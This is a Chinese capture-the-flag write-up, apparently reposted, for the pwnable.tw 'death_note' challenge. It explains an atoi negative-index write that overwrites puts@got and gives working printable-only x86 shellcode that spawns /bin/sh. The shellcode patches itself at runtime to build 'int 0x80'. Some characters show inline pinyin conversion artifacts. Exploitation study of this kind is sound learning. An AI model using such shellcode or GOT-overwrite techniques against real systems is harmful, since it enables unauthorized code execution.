【pwnable.tw】 death_note
?
題目邏輯比較簡(jiǎn)單,大概增加和刪除和打印三個(gè)功能:
show函數(shù)中,打印各日記內(nèi)容,由于這題沒有給出libc文件,應(yīng)該不需要泄露地址,估計(jì)用處不大:
delete函數(shù)中,正常的free,然后指針修改為null,可能不存在漏洞,唯一的bug在于read_int()函數(shù)中
readint函數(shù)使用了atoi函數(shù),當(dāng)輸入是“-12”這樣的負(fù)數(shù)時(shí),造成讀越界,但是由于在delete函數(shù)中,用處不是特別大
最后,add函數(shù)
?
?函數(shù)的邏輯是在note數(shù)組中寫入malloc的返回的指針,并且同樣用了readint函數(shù),可以發(fā)現(xiàn)存在越界寫的問題,而note變量在bss段上,可以想到覆寫got表:
?
?而檢查一下文件開啟的保護(hù),沒有開啟NX保護(hù),也就是可以寫入shellcode,這樣put@got指向malloc返回地址,malloc塊中寫入shellcode,便可以獲得shell。
而針對(duì)用戶輸入,還有一個(gè)函數(shù)用來檢測(cè),
因此需要保證用戶輸入范圍是從2F~7F范圍內(nèi)。即考察shellcode的編寫。
常見的shellcode思路是利用int 80h陷入軟中斷,
并使得eax內(nèi)容為0x0b,ebx指向一個(gè)字符串"/bin/sh",ecx、edx置0。如shellcraft.sh()
/* execve(path='/bin///sh', argv=['sh'], envp=0) *//* push '/bin///sh\x00' */push 0x68push 0x732f2f2fpush 0x6e69622fmov ebx, esp/* push argument array ['sh\x00'] *//* push 'sh\x00\x00' */push 0x1010101xor dword ptr [esp], 0x1016972xor ecx, ecxpush ecx /* null terminate */push 4pop ecxadd ecx, esppush ecx /* 'sh\x00' */mov ecx, espxor edx, edx/* call execve() */push SYS_execve /* 0xb */pop eaxint 0x80但在匯編以后,不能滿足我們的要求。
根據(jù)某大牛博客中寫到,此題可用的匯編指令如下:
1.數(shù)據(jù)傳送: push/pop eax… pusha/popa2.算術(shù)運(yùn)算: inc/dec eax… sub al, 立即數(shù) sub byte ptr [eax… + 立即數(shù)], al dl… sub byte ptr [eax… + 立即數(shù)], ah dh… sub dword ptr [eax… + 立即數(shù)], esi edi sub word ptr [eax… + 立即數(shù)], si di sub al dl…, byte ptr [eax… + 立即數(shù)] sub ah dh…, byte ptr [eax… + 立即數(shù)] sub esi edi, dword ptr [eax… + 立即數(shù)] sub si di, word ptr [eax… + 立即數(shù)]3.邏輯運(yùn)算: and al, 立即數(shù) and dword ptr [eax… + 立即數(shù)], esi edi and word ptr [eax… + 立即數(shù)], si di and ah dh…, byte ptr [ecx edx… + 立即數(shù)] and esi edi, dword ptr [eax… + 立即數(shù)] and si di, word ptr [eax… + 立即數(shù)]xor al, 立即數(shù) xor byte ptr [eax… + 立即數(shù)], al dl… xor byte ptr [eax… + 立即數(shù)], ah dh… xor dword ptr [eax… + 立即數(shù)], esi edi xor word ptr [eax… + 立即數(shù)], si di xor al dl…, byte ptr [eax… + 立即數(shù)] xor ah dh…, byte ptr [eax… + 立即數(shù)] xor esi edi, dword ptr [eax… + 立即數(shù)] xor si di, word ptr [eax… + 立即數(shù)]4.比較指令: cmp al, 立即數(shù) cmp byte ptr [eax… + 立即數(shù)], al dl… cmp byte ptr [eax… + 立即數(shù)], ah dh… cmp dword ptr [eax… + 立即數(shù)], esi edi cmp word ptr [eax… + 立即數(shù)], si di cmp al dl…, byte ptr [eax… + 立即數(shù)] cmp ah dh…, byte ptr [eax… + 立即數(shù)] cmp esi edi, dword ptr [eax… + 立即數(shù)] cmp si di, word ptr [eax… + 立即數(shù)]5.轉(zhuǎn)移指令: push 56h pop eax cmp al, 43h jnz lable<=> jmp lable6.交換al, ah push eax xor ah, byte ptr [esp] // ah ^= al xor byte ptr [esp], ah // al ^= ah xor ah, byte ptr [esp] // ah ^= al pop eax7.清零: push 44h pop eax sub al, 44h ; eax = 0push esi push esp pop eax xor [eax], esi ; esi = 0可以先看一下,執(zhí)行shellcode時(shí)的寄存器狀況:
根據(jù)如上的寄存器情況,shellcode可以寫成這樣:
shellcode = '''/* execve(path='/bin///sh', argv=0, envp=0) *//* push '/bin///sh\x00' */push 0x68push 0x732f2f2fpush 0x6e69622fpush esppop ebx/*rewrite shellcode to get 'int 80'*/push edxpop eaxpush 0x60606060pop edxsub byte ptr[eax + 0x35] , dlsub byte ptr[eax + 0x35] , dlsub byte ptr[eax + 0x34] , dlpush 0x3e3e3e3epop edxsub byte ptr[eax + 0x34] , dl/*set zero to edx*/push ecxpop edx/*set 0x0b to eax*/push edxpop eaxxor al, 0x40xor al, 0x4b /*foo order,for holding the place*/push edxpop edxpush edxpop edx ''' shellcode = asm(shellcode) + '\x6b\x40'?
轉(zhuǎn)載于:https://www.cnblogs.com/p4nda/p/7611275.html
總結(jié)
以上是生活随笔為你收集整理的【pwnable.tw】 death_note的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。